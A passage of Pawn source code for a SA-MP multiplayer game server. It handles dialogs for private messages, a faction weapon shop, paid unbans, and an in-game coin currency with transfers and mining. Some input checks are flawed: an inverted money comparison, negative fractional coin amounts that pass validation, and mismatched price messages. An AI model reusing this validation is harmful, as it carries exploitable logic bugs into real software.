		ShowPlayerDialog(playerid, DIALOG_PMS2, DIALOG_STYLE_MSGBOX, SENDERz, msg, "{FF0000}Delete", "{00FF00}Back");
		cache_delete(result);
	  }
	return 1;
	}
	if(dialogid == DIALOG_PMS2)
	{
	 if(response)
	 {
		new query[100];
		mysql_format(handle, query, sizeof(query), "DELETE FROM `messages` WHERE ID='%d'",Selected2[playerid]);
		mysql_query(handle, query, false);
		SCM(playerid, COLOR_Good, "Message deleted from messages box.");
	  }
	  if(!response)
	  {
	  OnPlayerCommandText(playerid, "/messages");
	  }
	  AdminCheckedMSG[playerid] = 0;
	return 1;
	}
	
	
// New Order System Added by Sina
 if(dialogid == DIALOG_ORDER)
	{
		if(response)
		{
			PlayerPlaySound(playerid,1052,0.0,0.0,0.0);
			//ShowPlayerDialog(playerid,DIALOG_ORDER,DIALOG_STYLE_LIST,"{FF0000}Order-System","{FF0000}Full Health\n{FFFFFF}Bat {FF0000}(Rank 1+)\n{FFFFFF}Desert Eagle {FF0000}(Rank +1)\n{FFFFFF}AK-47 {FF0000}(Rank +2)\n{FFFFFF}M4 {FF0000}(Rank +2)\n{FFFFFF}Shotgun {FF0000}(Rank +2)\n{FFFFFF}Combat Shotgun {FF0000}(Rank +3)\n{FFFFFF}Tec-9 {FF0000}(Rank +4)\n{FFFFFF}Micro Uzi {FF0000}(Rank +4)\n{FFFFFF}Rifle {FF0000}(Rank +5)","Select","Close");

		if(IsPlayerInHQ(playerid))
		{
			new sina[50];
		  format(sina,sizeof(sina),"/order");
		  OnPlayerCommandText(playerid, sina);
		  }
		  
		  
		if(IsPlayerInHQ(playerid))
			{
				if(listitem == 0) { SetPlayerKoon(true, playerid, 100); return 1; }
				if(listitem == 1) {
			 if(GetPlayerPool(playerid) < 5) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money (5$) to buy this order.");
				GivePlayerKolang(playerid, 5,1);
				GivePlayerPool(playerid,-5);
				GameTextForPlayer(playerid, "~r~-$5", 5000, 1);
				return 1;
				}
				if(listitem == 2) {
			 if(GetPlayerPool(playerid) < 10) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money (5$) to buy this order.");
			 GivePlayerKolang(playerid, 24,250);
				GivePlayerPool(playerid,-10);
				GameTextForPlayer(playerid, "~r~-$10", 5000, 1);
				return 1;
				}
				if(listitem == 3)
				{
				if(PINFO[playerid][pRank] < 2) return SCM(playerid,COLOR_YELLOW2,"Error: You need rank 2 or higher to buy this order.");
			 if(GetPlayerPool(playerid) < 15) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money (5$) to buy this order.");
				GivePlayerKolang(playerid, 30,300);
				GivePlayerPool(playerid,-15);
				GameTextForPlayer(playerid, "~r~-$15", 5000, 1);
				return 1;
				}
				if(listitem == 4)
				{
			 if(PINFO[playerid][pRank] < 2) return SCM(playerid,COLOR_YELLOW2,"Error: You need rank 2 or higher to buy this order.");
			 if(GetPlayerPool(playerid) < 20) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money (5$) to buy this order.");
				GivePlayerKolang(playerid, 31,300);
				GivePlayerPool(playerid,-20);
				GameTextForPlayer(playerid, "~r~-$20", 5000, 1);
				return 1;
				}
				if(listitem == 5)
				{
			 if(PINFO[playerid][pRank] < 2) return SCM(playerid,COLOR_YELLOW2,"Error: You need rank 2 or higher to buy this order.");
			 if(GetPlayerPool(playerid) < 25) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money (5$) to buy this order.");
				GivePlayerKolang(playerid, 25,150);
				GivePlayerPool(playerid,-25);
				GameTextForPlayer(playerid, "~r~-$25", 5000, 1);
				return 1;
				}
				if(listitem == 6) {
			 if(PINFO[playerid][pRank] < 3) return SCM(playerid,COLOR_YELLOW2,"Error: You need rank 3 or higher to buy this order.");
			 if(GetPlayerPool(playerid) < 30) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money (5$) to buy this order.");
				GivePlayerKolang(playerid, 27,150);
				GivePlayerPool(playerid,-30);
				GameTextForPlayer(playerid, "~r~-$30", 5000, 1);
				return 1;
				}
				if(listitem == 7) {
			 if(PINFO[playerid][pRank] < 4) return SCM(playerid,COLOR_YELLOW2,"Error: You need rank 4 or higher to buy this order.");
			 if(GetPlayerPool(playerid) < 35) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money (5$) to buy this order.");
				GivePlayerKolang(playerid, 32,400);
				GivePlayerPool(playerid,-35);
				GameTextForPlayer(playerid, "~r~-$35", 5000, 1);
				return 1;
				}
				if(listitem == 8) {
			 if(PINFO[playerid][pRank] < 4) return SCM(playerid,COLOR_YELLOW2,"Error: You need rank 4 or higher to buy this order.");
			 if(GetPlayerPool(playerid) < 40) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money (5$) to buy this order.");
				GivePlayerKolang(playerid, 28,400);
				GivePlayerPool(playerid,-40);
				GameTextForPlayer(playerid, "~r~-$40", 5000, 1);
				return 1;
				}
				if(listitem == 9) {
			 if(PINFO[playerid][pRank] < 5) return SCM(playerid,COLOR_YELLOW2,"Error: You need rank 5 or higher to buy this order.");
			 if(GetPlayerPool(playerid) < 45) return SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money (5$) to buy this order.");
				else GivePlayerKolang(playerid, 33,200);
				GivePlayerPool(playerid,-45);
				GameTextForPlayer(playerid, "~r~-$45", 5000, 1);
				return 1;
				}
			}
			else SCM(playerid,COLOR_SINA2,"Error: You aren't at your HQ.");
		}
	}// New Order System Added by Sina
	/*
		if(dialogid == DIALOG_ORDER2)
	{
		if(response)
		{
			PlayerPlaySound(playerid,1052,0.0,0.0,0.0);
			ShowPlayerDialog(playerid,DIALOG_ORDER2,DIALOG_STYLE_LIST,"{FF0000}Order-System","{FF0000}Full Health\n{FFFFFF}Bat {FF0000}(Rank 1+)\n{FFFFFF}Desert Eagle \n{FFFFFF}AK-47 \n{FFFFFF}M4 \n{FFFFFF}Shotgun \n{FFFFFF}Combat Shotgun \n{FFFFFF}Tec-9 \n{FFFFFF}Micro Uzi \n{FFFFFF}Rifle ","Select","Close");
		if(PINFO[playerid][pPremiumAccount] == 2)
			{
				if(listitem == 0) { SetPlayerZereh(playerid, 100); SetPlayerKoon(true, playerid, 100); return 1; }
				if(listitem == 1) return GivePlayerKolang(playerid, 5,1);
				if(GetPlayerPool(playerid) < 5)
			 {
				SendMessage(playerid, COLOR_SINA2, "Faction-Error: You haven't enough cash ($5) to buy this order.");
			 return 1;
			 }
				GivePlayerPool(playerid,-5);
				GameTextForPlayer(playerid, "~r~-$5", 5000, 1);
				if(listitem == 2) return GivePlayerKolang(playerid, 24,250);
				if(GetPlayerPool(playerid) < 5)
			 {
				SendMessage(playerid, COLOR_SINA2, "Faction-Error: You haven't enough cash ($5) to buy this order.");
			 return 1;
			 }
				GivePlayerPool(playerid,-5);
				GameTextForPlayer(playerid, "~r~-$5", 5000, 1);
				if(listitem == 3) { if(PINFO[playerid][pPremiumAccount] == 2) return SCM(playerid,COLOR_SINA2,"Faction-Error: You need rank 2 or higher to buy this order."); else GivePlayerKolang(playerid, 30,300); return 1; }
				if(GetPlayerPool(playerid) < 5)
			 {
				SendMessage(playerid, COLOR_SINA2, "Faction-Error: You haven't enough cash ($5) to buy this order.");
			 return 1;
			 }
				GivePlayerPool(playerid,-5);
				GameTextForPlayer(playerid, "~r~-$5", 5000, 1);
				if(listitem == 4) { if(PINFO[playerid][pPremiumAccount] == 2) return SCM(playerid,COLOR_SINA2,"Faction-Error: You need rank 2 or higher to buy this order."); else GivePlayerKolang(playerid, 31,300); return 1; }
				if(GetPlayerPool(playerid) < 5)
			 {
				SendMessage(playerid, COLOR_SINA2, "Faction-Error: You haven't enough cash ($5) to buy this order.");
			 return 1;
			 }
				GivePlayerPool(playerid,-5);
				GameTextForPlayer(playerid, "~r~-$5", 5000, 1);
				if(listitem == 5) { if(PINFO[playerid][pPremiumAccount] == 2) return SCM(playerid,COLOR_SINA2,"Faction-Error: You need rank 2 or higher to buy this order."); else GivePlayerKolang(playerid, 25,150); return 1; }
				if(GetPlayerPool(playerid) < 5)
			 {
				SendMessage(playerid, COLOR_SINA2, "Faction-Error: You haven't enough cash ($5) to buy this order.");
			 return 1;
			 }
				GivePlayerPool(playerid,-5);
				GameTextForPlayer(playerid, "~r~-$5", 5000, 1);
				if(listitem == 6) { if(PINFO[playerid][pPremiumAccount] == 2) return SCM(playerid,COLOR_SINA2,"Faction-Error: You need rank 3 or higher to buy this order."); else GivePlayerKolang(playerid, 27,150); return 1; }
				if(GetPlayerPool(playerid) < 5)
			 {
				SendMessage(playerid, COLOR_SINA2, "Faction-Error: You haven't enough cash ($5) to buy this order.");
			 return 1;
			 }
				GivePlayerPool(playerid,-5);
				GameTextForPlayer(playerid, "~r~-$5", 5000, 1);
				if(listitem == 7) { if(PINFO[playerid][pPremiumAccount] == 2) return SCM(playerid,COLOR_SINA2,"Faction-Error: You need rank 4 or higher to buy this order."); else GivePlayerKolang(playerid, 32,400); return 1; }
				if(GetPlayerPool(playerid) < 5)
			 {
				SendMessage(playerid, COLOR_SINA2, "Faction-Error: You haven't enough cash ($5) to buy this order.");
			 return 1;
			 }
				GivePlayerPool(playerid,-5);
				GameTextForPlayer(playerid, "~r~-$5", 5000, 1);
				if(listitem == 8) { if(PINFO[playerid][pPremiumAccount] == 2) return SCM(playerid,COLOR_SINA2,"Faction-Error: You need rank 4 or higher to buy this order."); else GivePlayerKolang(playerid, 28,400); return 1; }
				if(GetPlayerPool(playerid) < 5)
			 {
				SendMessage(playerid, COLOR_SINA2, "Faction-Error: You haven't enough cash ($5) to buy this order.");
			 return 1;
			 }
				GivePlayerPool(playerid,-5);
				GameTextForPlayer(playerid, "~r~-$5", 5000, 1);
				if(listitem == 9) { if(PINFO[playerid][pPremiumAccount] == 2) return SCM(playerid,COLOR_SINA2,"Faction-Error: You need rank 5 or higher to buy this order."); else GivePlayerKolang(playerid, 33,200); return 1; }
				if(GetPlayerPool(playerid) < 5)
			 {
				SendMessage(playerid, COLOR_SINA2, "Faction-Error: You haven't enough cash ($5) to buy this order.");
			 return 1;
			 }
				GivePlayerPool(playerid,-5);
				GameTextForPlayer(playerid, "~r~-$5", 5000, 1);
			}
			else SCM(playerid,COLOR_SINA2,"Error: You aren't at your HQ.");
		}
	}
*/
if(dialogid == 7088)
{
if(response)
{
new mygolds=0, pkkey[129], inspkkey[129], query[512], savekon[129], poolebank=0, pooledast=0;
mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", RPName(playerid));
new Cache:result=mysql_query(handle,query);
mygolds = cache_get_field_content_int(0,"pGold");
poolebank = cache_get_field_content_int(0,"pAccount");
pooledast = cache_get_field_content_int(0,"pCash");
cache_get_field_content(0,"pKey",pkkey,handle,sizeof(pkkey));
cache_delete(result);
strcpy(savekon,inputtext,129);
WP_Hash(inspkkey, sizeof(inspkkey), savekon);
if(strcmp(inspkkey,pkkey,false)){if(KickMikonamPlayerX[playerid]!=0){KillTimer(KickMikonamPlayerX[playerid]);KickMikonamPlayerX[playerid]=0;}KickWithMessage(playerid, COLOR_LIGHTRED, "Invalid password entered.");return 1;}
if(ChiPayMikone[playerid]==1&&mygolds<ShouldGoldPay[playerid]){if(KickMikonamPlayerX[playerid]!=0){KillTimer(KickMikonamPlayerX[playerid]);KickMikonamPlayerX[playerid]=0;}KickWithMessage(playerid, COLOR_LIGHTRED, "You haven't enough golds to get unbanned.");return 1;}
if(ChiPayMikone[playerid]==1)// Gold
{
if(KickMikonamPlayerX[playerid]!=0){KillTimer(KickMikonamPlayerX[playerid]);KickMikonamPlayerX[playerid]=0;}
mysql_format(handle, query, sizeof(query), "UPDATE `users` SET `pBanned`='0', `pGold`=`pGold`-'%d' WHERE `pName`='%e'", ShouldGoldPay[playerid], RPName(playerid));
mysql_tquery(handle, query, "SendQuery", "");
SCM(playerid, COLOR_SINASABZ, "You bought unban item! You will be reconnected to sync.");
format(query, sizeof(query), "{ffffff}Player %s(%i) has bought unban item for %s golds (Temporary ban)",RPName(playerid), playerid, FormatNumber(ShouldGoldPay[playerid]));
AdminWarn(query);
RelogPlayer2(playerid);
}
else if(ChiPayMikone[playerid]==2)// Money
{
new checkx=0;
if(pooledast<ShouldMoneyPay[playerid]){checkx++;}
if(poolebank<ShouldMoneyPay[playerid]){checkx++;}
if(checkx>=2){if(KickMikonamPlayerX[playerid]!=0){KillTimer(KickMikonamPlayerX[playerid]);KickMikonamPlayerX[playerid]=0;}KickWithMessage(playerid, COLOR_LIGHTRED, "You haven't enough money to get unbanned.");return 1;}
if(pooledast>=ShouldMoneyPay[playerid])
{
if(KickMikonamPlayerX[playerid]!=0){KillTimer(KickMikonamPlayerX[playerid]);KickMikonamPlayerX[playerid]=0;}
mysql_format(handle, query, sizeof(query), "UPDATE `users` SET `pBanned`='0', `pCash`=`pCash`-'%d' WHERE `pName`='%e'", ShouldMoneyPay[playerid], RPName(playerid));
mysql_tquery(handle, query, "SendQuery", "");
SCM(playerid, COLOR_SINASABZ, "You bought unban item! You will be reconnected to sync.");
format(query, sizeof(query), "{ffffff}Player %s(%i) has bought unban item for $%s cash (Temporary ban)",RPName(playerid), playerid, FormatNumber(ShouldMoneyPay[playerid]));
AdminWarn(query);
RelogPlayer2(playerid);
}
else if(poolebank>=ShouldMoneyPay[playerid])
{
if(KickMikonamPlayerX[playerid]!=0){KillTimer(KickMikonamPlayerX[playerid]);KickMikonamPlayerX[playerid]=0;}
mysql_format(handle, query, sizeof(query), "UPDATE `users` SET `pBanned`='0', `pAccount`=`pAccount`-'%d' WHERE `pName`='%e'", ShouldMoneyPay[playerid], RPName(playerid));
mysql_tquery(handle, query, "SendQuery", "");
SCM(playerid, COLOR_SINASABZ, "You bought unban item! You will be reconnected to sync.");
format(query, sizeof(query), "{ffffff}Player %s(%i) has bought unban item for $%s bank money (Temporary ban)",RPName(playerid), playerid, FormatNumber(ShouldMoneyPay[playerid]));
AdminWarn(query);
RelogPlayer2(playerid);
}
else{Kick(playerid);}
}
else{Kick(playerid);}
}
else{Kick(playerid);}
return 1;
}
if(dialogid == 1092)
{
if(!response){BayadPoolBedam[playerid]=0;return 1;}
if(GetPlayerPool(playerid)>BayadPoolBedam[playerid])return Error(playerid, "Error: You haven't enough money.")
GivePlayerPoolEx(playerid, -BayadPoolBedam[playerid]);
TaxValue+=BayadPoolBedam[playerid];
SaveStuff();
BayadPoolBedam[playerid]=0;
PlayerInfo[playerid][pSoldier] = PINFO[playerid][pJob];
SaveKonVal(playerid, "pSoldier", PINFO[playerid][pSoldier]);
}
if(dialogid == 1062)
{
if(!response){ShowCoinDialog(playerid);}
else
{
new Float:input = floatstr(inputtext);
new cash = CoinToMoney(input);
new xf[144];
if(input>200.0||input<=-1||input==0){format(xf, sizeof(xf), "Enter the amount of %ss you want to buy.\n{FF0000}* 1 %s is $%s now.\n{FF0000}* Invalid amount entered.", GetCoinName(), GetCoinName(), FormatNumber(ArzesheCoin));ShowPlayerDialog(playerid,1062,DIALOG_STYLE_INPUT,GetCoinName(),xf,"Enter","Back");return 1;}
if(GetPlayerPool(playerid)<cash){format(xf, sizeof(xf), "%f %ss is $%s. You need $%s more to buy this amount of %ss.", input, GetCoinName(), FormatNumber(CoinToMoney(input)), FormatNumber(CoinToMoney(input)-GetPlayerPool(playerid)), GetCoinName());SCM(playerid, COLOR_YELLOW2, xf);return 1;}
PINFO[playerid][pCoins] = PINFO[playerid][pCoins]+input;
SaveKonFloat(playerid, "pCoins", PINFO[playerid][pCoins]);
format(xf, sizeof(xf), "You bought %f %ss for $%s", input, GetCoinName(), FormatNumber(cash));
SCM(playerid, COLOR_SINARANG, xf);
GivePlayerPool(playerid, -cash);
}
}
if(dialogid == 1063)
{
if(!response)return 1;
new cht[144];
if(listitem==0)// Currency
{
format(cht, sizeof(cht), "1 %s is $%s now.", GetCoinName(), FormatNumber(ArzesheCoin));
SCM(playerid, COLOR_SINARANG, cht);
ShowCoinDialog(playerid);
}
if(listitem==1)// Balance
{
format(cht, sizeof(cht), "You have {ff6347}%f{F5DEB3} %ss.", PINFO[playerid][pCoins], GetCoinName());
SCM(playerid, COLOR_SINARANG, cht);
ShowCoinDialog(playerid);
}
if(listitem==2)// Buy
{
if(!BankWhere(playerid)) return Error(playerid, "Error: You are not controlling any section of any bank.")
if(IsServerRob == 1) return Error(playerid, "Error: Sorry we are busy right now.")
if(PINFO[playerid][pCoins]>1000){format(cht, sizeof(cht), "Error: You couldn't buy any more %ss", GetCoinName());Error(playerid, cht)return 1;}
format(cht, sizeof(cht), "Enter the amount of %ss you want to buy.\n{FF0000}* 1 %s is $%s now.", GetCoinName(), GetCoinName(), FormatNumber(ArzesheCoin));
ShowPlayerDialog(playerid,1062,DIALOG_STYLE_INPUT,GetCoinName(),cht,"Enter","Back");
}
if(listitem==3)// Work Panel
{
format(cht, sizeof(cht), "Sell %ss to server\nTransfer %ss to a player\nStart mining\nStop mining", GetCoinName(), GetCoinName());
ShowPlayerDialog(playerid,1061,DIALOG_STYLE_LIST,GetCoinName(),cht,"Select","Back");
}
}
if(dialogid == 1061)
{
if(!response){ShowCoinDialog(playerid);}
else
{
new cht[144];
if(listitem==0)// Sell to server
{
if(!BankWhere(playerid)) return Error(playerid, "Error: You are not controlling any section of any bank.")
if(IsServerRob == 1) return Error(playerid, "Error: Sorry we are busy right now.")
if(HandleCoins==0)return Error(playerid, "Error: We don't need coins now.")
format(cht, sizeof(cht), "Enter the amount of %ss you want to sell to the server.", GetCoinName());
ShowPlayerDialog(playerid,7806,DIALOG_STYLE_INPUT,GetCoinName(),cht,"Sell","Back");
}
if(listitem==1)// Transfer
{
if(!BankWhere(playerid)) return Error(playerid, "Error: You are not controlling any section of any bank.")
if(IsServerRob == 1) return Error(playerid, "Error: Sorry we are busy right now.")
format(cht, sizeof(cht), "Enter the name of that player you want to transfer %ss.", GetCoinName());
ShowPlayerDialog(playerid,7807,DIALOG_STYLE_INPUT,GetCoinName(),cht,"Enter","Back");
}
if(listitem==2)// Start mining
{
if(ImMining[playerid]!=0)return Error(playerid, "Error: You are mining already.")
if(GetPlayerPool(playerid)<15000)return Error(playerid, "Error: You haven't enough money to turn on the coin miner.")
if(PINFO[playerid][pMinedToday]>0.01&&PINFO[playerid][pPremiumAccount]==0)return Error(playerid, "Error: You mined maximum amount today.")
if(PINFO[playerid][pMinedToday]>0.02&&PINFO[playerid][pPremiumAccount]!=0)return Error(playerid, "Error: You mined maximum amount today.")
if(PINFO[playerid][pCoins]>300&&PINFO[playerid][pPremiumAccount]==0)return Error(playerid, "Error: Your pocket is full for mining coins.")
if(PINFO[playerid][pCoins]>500&&PINFO[playerid][pPremiumAccount]!=0)return Error(playerid, "Error: Your pocket is full for mining coins.")
ImMining[playerid]=1;
SCM(playerid, COLOR_SINARANG, "You started mining.");
GivePlayerPool(playerid, -15000);
GameTextForPlayer(playerid, "~r~-$15,000", 5000, 1);
}
if(listitem==3)// Stop mining
{
if(ImMining[playerid]==0)return Error(playerid, "Error: You are not mining.")
StopMining(playerid);
}
}
}
if(dialogid == 7807)
{
new cht[144], query[256], level=0, xName[25], facid=0, facidex=0, factid=0;
if(!response)
{
format(cht, sizeof(cht), "Sell %ss to server\nTransfer %ss to a player\nStart mining\nStop mining", GetCoinName(), GetCoinName());
ShowPlayerDialog(playerid,1061,DIALOG_STYLE_LIST,GetCoinName(),cht,"Select","Back");
}
else
{
if(IsNameEmpty(inputtext))return Error(playerid, "Error: This player isn't exist.")
mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", inputtext);
new Cache:result=mysql_query(handle,query);
level=cache_get_field_content_int(0,"pLevel");
facid=cache_get_field_content_int(0,"pMember");
facidex=cache_get_field_content_int(0,"pLeader");
EnteredRef[playerid]=cache_get_field_content_int(0,"pID");
cache_get_field_content(0,"pName",xName,handle,sizeof(xName));
cache_delete(result);
if(level<3)return Error(playerid, "Error: An error occurred.")
if(facidex >= 1){factid = facidex;}
if(facidex == 0){factid = facid;}
strcpy(EnteredName[playerid],xName,sizeof(xName));
format(cht, sizeof(cht), "Are these informations correct about your target player?\nName: %s\nLevel: %d\nFaction: %s", xName, level, (factid==0)?("Civilian"):(GetFacName(factid)));
ShowPlayerDialog(playerid, 7808, DIALOG_STYLE_MSGBOX, GetCoinName(), cht, "Yes", "No");
}
}
if(dialogid == 7808)
{
new cht[144];
if(!response)
{
format(cht, sizeof(cht), "Enter the name of that player you want to transfer %ss.", GetCoinName());
ShowPlayerDialog(playerid,7807,DIALOG_STYLE_INPUT,GetCoinName(),cht,"Enter","Back");
}
else
{
format(cht, sizeof(cht), "Enter the amount of %ss you want to transfer to %s.", GetCoinName(), EnteredName[playerid]);
ShowPlayerDialog(playerid,7809,DIALOG_STYLE_INPUT,GetCoinName(),cht,"Transfer","Back");
}
}
if(dialogid == 7809)
{
new cht[144], query[256], coins=0;
if(!response)
{
format(cht, sizeof(cht), "Sell %ss to server\nTransfer %ss to a player\nStart mining\nStop mining", GetCoinName(), GetCoinName());
ShowPlayerDialog(playerid,1061,DIALOG_STYLE_LIST,GetCoinName(),cht,"Select","Back");
}
else
{
new Float:input = floatstr(inputtext);
if(input<=-1||input==0)
{
format(cht, sizeof(cht), "Enter the amount of %ss you want to transfer to %s.\n{FF0000}* Invalid amount entered.", GetCoinName(), EnteredName[playerid]);
ShowPlayerDialog(playerid,7809,DIALOG_STYLE_INPUT,GetCoinName(),cht,"Transfer","Back");
}
else
{
if(input>PINFO[playerid][pCoins])return Error(playerid, "Error: You don't have that much.")
if(IsNameEmpty(EnteredName[playerid]))return Error(playerid, "Error: This player isn't exist.")
mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", EnteredName[playerid]);
new Cache:result=mysql_query(handle,query);
coins=cache_get_field_content_int(0,"pCoins");
cache_delete(result);
if(coins>1000)return Error(playerid, "Error: An error occurred.")
new taraf = ReturnUser2(EnteredName[playerid]);
if(!IsPlayerConnected(taraf))// Not connected
{
mysql_format(handle, query, sizeof(query), "UPDATE `users` SET `pCoins`=`pCoins`+'%f' WHERE `pName`='%e'", input, EnteredName[playerid]);
mysql_tquery(handle, query, "SendQuery", "");
PINFO[playerid][pCoins] = PINFO[playerid][pCoins]-input;
SaveKonFloat(playerid, "pCoins", PINFO[playerid][pCoins]);
format(cht, sizeof(cht), " You transferred{FFFFFF} %f {FF0000}%ss to %s's %s account.", input, GetCoinName(), EnteredName[playerid], GetCoinName());
SCM(playerid, COLOR_SINAGHERMEZ, cht);
format(cht, sizeof(cht), "Player %s(R#%i) has transferred %f %ss to %s(R#%i) (Offline)", RPName(playerid), PINFO[playerid][pID], input, GetCoinName(), EnteredName[playerid], EnteredRef[playerid])
WriteTransferLog(cht);
format(cht, sizeof(cht), "{ffffff}Player %s(%i) has transferred %f %ss to %s's %s account.",RPName(playerid), playerid, input, GetCoinName(), EnteredName[playerid], GetCoinName());
AdminWarn(cht);
}
else// Connected
{
PINFO[playerid][pCoins] = PINFO[playerid][pCoins]-input;
SaveKonFloat(playerid, "pCoins", PINFO[playerid][pCoins]);
PINFO[taraf][pCoins] = PINFO[taraf][pCoins]+input;
SaveKonFloat(taraf, "pCoins", PINFO[taraf][pCoins]);
format(cht, sizeof(cht), " You transferred{FFFFFF} %f {FF0000}%ss to %s's %s account.", input, GetCoinName(), EnteredName[playerid], GetCoinName());
SCM(playerid, COLOR_SINAGHERMEZ, cht);
format(cht, sizeof(cht), "{FFFFFF} %s {FF0000}has transferred{FFFFFF} %f {FF0000}%ss to your %s account.", RPName(playerid), input, GetCoinName(), GetCoinName());
SCM(taraf, COLOR_SINAGHERMEZ, cht);
format(cht, sizeof(cht), "Player %s(R#%i) has transferred %f %ss to %s(R#%i) (Online)", RPName(playerid), PINFO[playerid][pID], input, GetCoinName(), EnteredName[playerid], EnteredRef[playerid])
WriteTransferLog(cht);
format(cht, sizeof(cht), "{ffffff}Player %s(%i) has transferred %f %ss to %s(%i)'s %s account.",RPName(playerid), playerid, input, GetCoinName(), EnteredName[playerid], taraf, GetCoinName());
AdminWarn(cht);
}
EnteredName[playerid] = "**";
EnteredRef[playerid] = 0;
}
}
}
if(dialogid == 7806)
{
new cht[144];
if(!response)
{
format(cht, sizeof(cht), "Sell %ss to server\nTransfer %ss to a player\nStart mining\nStop mining", GetCoinName(), GetCoinName());
ShowPlayerDialog(playerid,1061,DIALOG_STYLE_LIST,GetCoinName(),cht,"Select","Back");
}
else
{
new Float:input = floatstr(inputtext);
if(input<=-1||input==0)
{
format(cht, sizeof(cht), "Enter the amount of %ss you want to sell to the server.\n{FF0000}* Invalid amount entered.", GetCoinName());
ShowPlayerDialog(playerid,7806,DIALOG_STYLE_INPUT,GetCoinName(),cht,"Sell","Back");
}
else
{
new cash = (CoinToMoney(input)-5000);
if(PINFO[playerid][pCoins]<input)return Error(playerid, "Error: You don't have that much.")
if(input<0.005)
{
format(cht, sizeof(cht), "Enter the amount of %ss you want to sell to the server.\n{FF0000}* We won't buy less than 0.005 %ss.", GetCoinName(), GetCoinName());
ShowPlayerDialog(playerid,7806,DIALOG_STYLE_INPUT,GetCoinName(),cht,"Sell","Back");
}
else
{
if((cash+GetPlayerPool(playerid))>=1000000000)return Error(playerid, "Error: An error occurred.")
if(HandleCoins==0)return Error(playerid, "Error: We don't need coins now.")
PINFO[playerid][pCoins] = PINFO[playerid][pCoins]-input;
SaveKonFloat(playerid, "pCoins", PINFO[playerid][pCoins]);
GivePlayerPool(playerid, cash);
format(cht, sizeof(cht), "You sold %f %ss for $%s to server.", input, GetCoinName(), FormatNumber(cash));
SCM(playerid, COLOR_SINARANG, cht);
}
}
}
}
if(dialogid == 7087)
{
new xsxs[200];
if(response)// Gold
{
ChiPayMikone[playerid]=1;
format(xsxs, sizeof(xsxs), "So you want buy your unban item for %s golds. Enter your password below in 30 seconds to pay:", FormatNumber(ShouldGoldPay[playerid]));
ShowPlayerDialog(playerid,7088,DIALOG_STYLE_PASSWORD,"Banned Account",xsxs,"Pay","Quit");
}
else// Money
{
ChiPayMikone[playerid]=2;
format(xsxs, sizeof(xsxs), "So you want buy your unban item for %s money. Enter your password below in 30 seconds to pay:", FormatNumber(ShouldMoneyPay[playerid]));
ShowPlayerDialog(playerid,7088,DIALOG_STYLE_PASSWORD,"Banned Account",xsxs,"Pay","Quit");
}
return 1;
}
if(dialogid == 7086)
{
if(response)
{
new mygolds=0, pkkey[129], inspkkey[129], query[512], savekon[129];
mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", RPName(playerid));
new Cache:result=mysql_query(handle,query);
mygolds = cache_get_field_content_int(0,"pGold");
cache_get_field_content(0,"pKey",pkkey,handle,sizeof(pkkey));
cache_delete(result);
strcpy(savekon,inputtext,129);
WP_Hash(inspkkey, sizeof(inspkkey), savekon);
if(strcmp(inspkkey,pkkey,false)){if(KickMikonamPlayerX[playerid]!=0){KillTimer(KickMikonamPlayerX[playerid]);KickMikonamPlayerX[playerid]=0;}KickWithMessage(playerid, COLOR_LIGHTRED, "Invalid password entered.");return 1;}
if(mygolds<ShouldGoldPay[playerid]){if(KickMikonamPlayerX[playerid]!=0){KillTimer(KickMikonamPlayerX[playerid]);KickMikonamPlayerX[playerid]=0;}KickWithMessage(playerid, COLOR_LIGHTRED, "You haven't enough golds to get unbanned.");return 1;}
if(ShouldGoldPay[playerid]==700)// Permanently
{
if(KickMikonamPlayerX[playerid]!=0){KillTimer(KickMikonamPlayerX[playerid]);KickMikonamPlayerX[playerid]=0;}
mysql_format(handle, query, sizeof(query), "UPDATE `users` SET `pBanned`='0', `pGold`=`pGold`-'%d' WHERE `pName`='%e'", ShouldGoldPay[playerid], RPName(playerid));
mysql_tquery(handle, query, "SendQuery", "");
SCM(playerid, COLOR_SINASABZ, "You bought unban item! You will be reconnected to sync.");
format(query, sizeof(query), "{ffffff}Player %s(%i) has bought unban item for %s golds (Permanently ban)",RPName(playerid), playerid, FormatNumber(ShouldGoldPay[playerid]));
AdminWarn(query);
RelogPlayer2(playerid);
}
else if(ShouldGoldPay[playerid]==1000)// Suspend
{
if(KickMikonamPlayerX[playerid]!=0){KillTimer(KickMikonamPlayerX[playerid]);KickMikonamPlayerX[playerid]=0;}
mysql_format(handle, query, sizeof(query), "UPDATE `users` SET `pBanned`='0', `pGold`=`pGold`-'%d' WHERE `pName`='%e'", ShouldGoldPay[playerid], RPName(playerid));
mysql_tquery(handle, query, "SendQuery", "");
SCM(playerid, COLOR_SINASABZ, "You bought unban item! You will be reconnected to sync.");
format(query, sizeof(query), "{ffffff}Player %s(%i) has bought unban item for %s golds (Suspend ban)",RPName(playerid), playerid, FormatNumber(ShouldGoldPay[playerid]));
AdminWarn(query);
RelogPlayer2(playerid);
}
else{Kick(playerid);}
}
else{Kick(playerid);}
return 1;
}
if(dialogid == 2067)
{
      if(!response)return 1;
      switch(listitem)
      {
        case 0:
        {
          new tmp,TopKillers[10]={INVALID_PLAYER_ID, ...};
          ForEachPlayer(i)
          {
            if(BossScore[i]==0)continue;
            if((tmp=GetPlayerBossRank(i))<11)TopKillers[tmp-1]=i;
          }
          new tmpstr[64],finalstr[512];
          for(new i=0;i<10;i++)
          {
            if(TopKillers[i]==INVALID_PLAYER_ID)break;
            format(tmpstr, sizeof(tmpstr), "%i: %s(%s pts)\n",i+1,PINFO[TopKillers[i]][pName],FormatNumber(floatround(BossScore[TopKillers[i]])));
            strcat(finalstr, tmpstr);
          }
          return ShowPlayerDialog(playerid, 85, DIALOG_STYLE_MSGBOX, "Top boss slayers:", finalstr, "Exit", "");
        }
        case 1:
        {
          if(PINFO[playerid][pGunLic]<1)return Error(playerid, "Error: You don't have gun license.")
